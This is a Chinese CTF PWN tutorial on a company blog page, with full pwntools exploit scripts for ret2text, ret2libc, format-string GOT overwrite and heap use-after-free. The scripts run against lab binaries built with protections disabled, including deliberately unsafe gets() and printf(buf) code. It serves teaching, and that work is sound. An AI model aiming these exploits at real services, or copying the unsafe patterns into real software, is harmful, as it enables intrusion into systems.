尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTF 之 PWN 解题方法及案例分析

CTF 之 PWN 解题方法及案例分析 1. 什么是 PWN在 CTFCapture The Flag竞赛中PWN 是一类以「二进制漏洞挖掘与利用」为核心的题目。题目通常会给出一个可执行程序有时附带源码更多时候只有二进制文件以及一个远程服务地址要求选手通过分析程序逻辑、定位漏洞、构造恶意输入最终拿到服务器上的 flag。PWN 题考查的是对底层机制的深入理解汇编语言、调用栈、内存布局、动态链接、堆分配器以及 Linux 系统调用等。虽然门槛较高但一旦掌握基本方法论PWN 就能成为 CTF 中最有成就感的赛道之一。全文环境约定操作系统Ubuntu 20.04 / 22.0464 位调试器GDB pwndbg利用框架pwntoolsPython编译示例gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie2. PWN 解题基础工具链在开始动手之前先把工具链准备好。PWN 题最常用的工具有以下几类2.1 静态分析工具file查看文件类型、位数、是否 PIE、是否动态链接。checksec一键检查保护机制是 PWN 选手必用的第一命令。file./vuln checksec ./vulnchecksec输出示例Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)每一项都直接关系到后续利用方案的选择Canary 决定是否需要泄露栈信息NX 决定能否直接执行 shellcodePIE 决定地址是否固定。2.2 动态调试工具gdb pwndbg断点、单步、查看内存与寄存器。objdump / IDA / Ghidra反汇编分析逻辑。最常用的 GDB 命令gdb ./vuln b *main r ni# 单步执行不进入函数si# 单步执行进入函数x/20gx$rsp# 查看栈上 20 个 8 字节数据vmmap# 查看内存映射pwndbg 扩展2.3 利用框架 pwntools安装及基本连接模板pipinstallpwntoolsfrompwnimport*context.archamd64context.log_leveldebug# 本地调试pprocess(./vuln)# 远程连接# p remote(127.0.0.1, 10001)p.recvuntil(b)p.sendline(payload)p.interactive()3. PWN 解题通用流程拿到一道 PWN 题后建议按照以下固定流程开展避免盲目试错。拿到题目文件file checksec 查看保护反汇编/源码审计定位漏洞点确定利用思路与攻击向量本地调试构造 payload编写 pwntools 脚本攻击本地打通后攻击远程拿 flag3.1 第一步分析保护机制保护机制决定了利用难度与可行路线Canary栈溢出前需先泄露 Canary 值。NX开启后栈不可执行需转向 ret2libc、ROP 等技术。PIE开启后地址随机需先泄露基址。RELROFull RELRO 时 GOT 表只读无法覆写 GOT。ASLR系统级地址随机化绕过方式通常是先泄露地址。3.2 第二步定位漏洞常见漏洞触发点包括不安全的输入函数gets()、scanf(%s)、strcpy()、sprintf()。数组越界访问。格式化字符串漏洞printf(buf)。堆管理错误悬空指针、重复释放、malloc大小混淆。整数溢出符号错误、截断、size_t与int混用。3.3 第三步选择利用方式依据漏洞类型和保护机制选择合适的攻击方式漏洞类型常见利用方式栈溢出NX 关闭直接覆盖返回地址为 shellcode栈溢出NX 开启ROP / ret2libc / ret2plt格式化字符串任意地址读、任意地址写堆溢出 / UAFtcache poisoning、fastbin attack整数溢出绕过长度检查间接制造溢出或越界3.4 第四步本地打通远程复现所有 payload 先在本地验证确认拿下本地 shell 或输出 flag 后再将脚本切换到remote模式攻击远程服务。4. 核心机制速览栈溢出原理PWN 入门的第一课通常是栈溢出。理解栈帧结构是后续所有利用的基础。以下列程序为例#includestdio.h#includestring.hvoidvuln(){charbuf[32];gets(buf);}intmain(){vuln();return0;}当gets(buf)读入超过 32 字节的数据时多余的字节会覆盖栈上保存的返回地址。在 x86-64 下buf到返回地址的偏移通常可以通过 GDB 精确计算或使用 pwntools 的cyclic快速定位frompwnimport*# 生成 200 字节循环序列payloadcyclic(200)pprocess(./vuln)p.sendline(payload)p.wait()corep.corefile offsetcyclic_find(core.read(core.rsp,8))print(offset ,offset)# 典型值为 40随后即可将返回地址覆盖为后门函数、shellcode 或 ROP 链的起始地址。5. 实战案例一ret2text跳转后门函数5.1 题目描述目标程序源码如下#includestdio.hvoidsuccess(){system(/bin/sh);}voidvuln(){charbuf[32];puts(Input:);gets(buf);}intmain(){vuln();return0;}编译时关闭保护gcc-oret2text ret2text.c -fno-stack-protector -no-pie程序本身含有一个success()后门函数它会调用system(/bin/sh)。我们只需把返回地址覆盖为success的地址即可。5.2 信息收集checksec ./ret2text关键输出为No canary found、NX enabled、No PIE。没有 PIE 意味着函数地址固定可以直接硬编码。反汇编确认后门函数地址objdump-d./ret2text|grepsuccess假设输出为0000000000401162 success:5.3 计算偏移通过cyclic定位得到buf到返回地址的偏移为 40。5.4 构造利用脚本frompwnimport*context.archamd64context.log_leveldebugsuccess_addr0x401162offset40payloadbA*offsetp64(success_addr)pprocess(./ret2text)p.recvuntil(bInput:)p.sendline(payload)p.interactive()本地运行后即可拿到 shell。远程攻击时只需将process换成remote(ip, port)并补齐交互逻辑。5.5 反思ret2text 是最基础的 PWN 利用方式前提是程序内存在后门函数且无 PIE 保护。真实竞赛题目往往没有现成后门需要借助 ret2libc 或 ROP 自行构造系统调用。6. 实战案例二ret2libc泄漏地址绕过 NX 与 ASLR6.1 题目描述当程序开启了 NX且没有后门函数时无法直接执行栈上的 shellcode也不能简单跳到现成函数。此时可以利用「返回导向编程」的思路跳转到 libc 中的system()函数执行/bin/sh。#includestdio.hvoidvuln(){charbuf[32];puts(Input:);gets(buf);}intmain(){vuln();return0;}gcc-oret2libc ret2libc.c -fno-stack-protector -no-pie6.2 利用思路关键问题在于libc 的基址受 ASLR 影响每次运行随机。因此利用分为两步泄露地址通过puts(putsgot)打印 libc 中puts函数真实地址。计算基址用真实地址减去 libc 中puts的固定偏移得到 libc 基址。再次跳转让vuln再次执行第二次将返回地址覆盖为system并传入/bin/sh字符串地址。6.3 查找 gadget64 位程序传参使用寄存器system的参数需要通过rdi传递因此需要找到pop rdi; ret这个 gadgetROPgadget--binary./ret2libc--onlypop|ret|greprdi或使用 pwntoolsfrompwnimport*elfELF(./ret2libc)libcELF(./libc.so.6)pop_rdi0x4011db# 假设已找到6.4 完整脚本frompwnimport*context.archamd64context.log_leveldebugelfELF(./ret2libc)libcELF(./libc.so.6)pop_rdi0x4011dbputs_pltelf.plt[puts]puts_gotelf.got[puts]main_addrelf.symbols[main]offset40pprocess(./ret2libc)# 第一步泄露 puts 地址payload1bA*offsetp64(pop_rdi)p64(puts_got)p64(puts_plt)p64(main_addr)p.recvuntil(bInput:)p.sendline(payload1)p.recvline()leaku64(p.recv(6).ljust(8,b\x00))libc_baseleak-libc.symbols[puts]log.success(flibc base:{hex(libc_base)})# 第二步调用 system(/bin/sh)system_addrlibc_baselibc.symbols[system]binsh_addrlibc_basenext(libc.search(b/bin/sh))payload2bA*offsetp64(pop_rdi)p64(binsh_addr)p64(system_addr)p.recvuntil(bInput:)p.sendline(payload2)p.interactive()一个关键点是远程环境的 libc 版本可能与本地不同需要先通过题目提供的 libc 附件或在线 libc 数据库确认版本及偏移。7. 实战案例三格式化字符串漏洞7.1 漏洞成因当程序员将用户输入直接作为printf的第一个参数时就产生了格式化字符串漏洞voidvuln(){charbuf[64];read(0,buf,0x100);printf(buf);}攻击者可以输入%p、%x、%n等格式化占位符实现任意地址读和任意地址写。7.2 任意地址读示例输入%7$p可打印栈上第 7 个参数位置的值从而泄露栈地址、Canary、libc 地址等敏感信息。通过不断调整偏移即可把栈上所有内容遍历出来。7.3 任意地址写示例利用%n将已输出字符数写入指定地址可用于覆写 GOT 表或返回地址。pwntools 提供了便捷的格式化字符串构造器frompwnimport*deffmtstr_payload(offset,writes,numbwritten0,write_sizebyte):payloadbforaddr,valueinwrites.items():payloadfmtstr_split(offset,writes)returnpayload# 修改 putsgot 为 system 地址writes{elf.got[puts]:system_addr}payloadfmtstr_payload(7,writes)实际编写时需要注意 64 位地址中的\x00会截断字符串因此地址必须放在 payload 末尾并合理使用%hhn逐字节写入。7.4 防御建议格式化字符串漏洞的根源是把用户输入当作格式串。防御方法很简单printf(%s, buf)永远显式指定格式串。8. 实战案例四堆利用入门UAF8.1 释放后使用Use After FreeUAF 是指内存释放后指针未置空程序继续使用该指针访问已经释放的内存。当同一块内存被重新分配给另一个对象时就可能造成类型混淆或控制流劫持。典型漏洞代码structnote{void(*print)();charcontent[32];};structnote*amalloc(sizeof(structnote));a-printprint_a;free(a);// 未置空 a此时 a 为悬空指针structnote*bmalloc(sizeof(structnote));strcpy(b-content,attacker);a-print();// 使用已释放指针可能调用到攻击者控制的数据8.2 利用思路在 glibc 2.31 之前的 tcache 机制下同尺寸的 chunk 会进入 tcache bin后释放先分配LIFO。因此free(a)后再malloc同样大小的bb会复用a的地址。若攻击者能控制b的print字段再通过悬空指针a-print()调用即可劫持控制流。8.3 利用脚本核心逻辑add(0,b\x00*8)# 申请 chunk afree(0)# 释放产生 UAFadd(1,p64(system_addr))# 申请同尺寸 chunk b覆写函数指针show(0)# 通过悬空指针触发 system_addr现代 glibc 版本逐步加入更多防护tcache key、safe-linking 等因此比赛中需先确认 libc 版本再调整利用细节。9. 常见保护绕过总结保护机制绕过思路Stack Canary格式化字符串泄露 Canary / 逐字节爆破NXROP / ret2libc / ret2dlresolve / mprotect 改权限ASLR泄漏实际地址后计算基址 / ret2pltPIE泄漏代码段地址 / 部分覆写低字节Full RELRO改写栈返回地址或堆指针而非 GOTseccomp 沙箱改用 openreadwrite 的 orw 链10. 常用命令速查# 静态检查file./vuln checksec ./vuln strings ./vuln# 反汇编objdump-d-Mintel ./vuln# 查找字符串ROPgadget--binary./vuln--string/bin/shROPgadget--binary./vuln--onlypop|ret# GDB 调试gdb ./vuln b *vuln x/30gx$rspinfo registerspwntools 常用 APIfrompwnimport*elfELF(./vuln)# 解析 ELFlibcELF(./libc.so.6)# 解析 libcpprocess(./vuln)# 本地premote(172.17.0.2,10001)# 远程p.recvuntil(bx)p.sendline(bpayload)p.recvline()addru64(p.recv(6).ljust(8,b\x00))# 泄漏地址还原11. 总结PWN 题目的解题路径可以概括为保护分析 → 漏洞挖掘 → 方案设计 → 本地调优 → 远程拿 flag。入门阶段重点掌握栈溢出和 ret2text理解栈帧与返回地址的覆盖原理。进阶阶段需要熟练运用 ROP、ret2libc、格式化字符串等技巧并能独立分析 libc 环境差异。高阶阶段深入堆分配器机制掌握 UAF、double free、堆风水等利用方法并应对 seccomp、canary 等复合防护。安全研究的目标始终是发现问题并推动修复。PWN 的学习价值在于让你真正理解程序的底层运行机制每一次函数调用、每一个指针、每一块内存分配都直接暴露在眼前。希望本文的流程和案例能帮助你少走弯路在下一场 CTF 中顺利拿到属于自己的 flag。12. 参考与延伸学习CTF Wikihttps://ctf-wiki.org/pwn/pwntools 官方文档https://docs.pwntools.com/pwndbg 项目https://github.com/pwndbg/pwndbgglibc 源码在线浏览https://elixir.bootlin.com/glibc/latest/source训练平台推荐BUUCTF、攻防世界、CTFshow
返回列表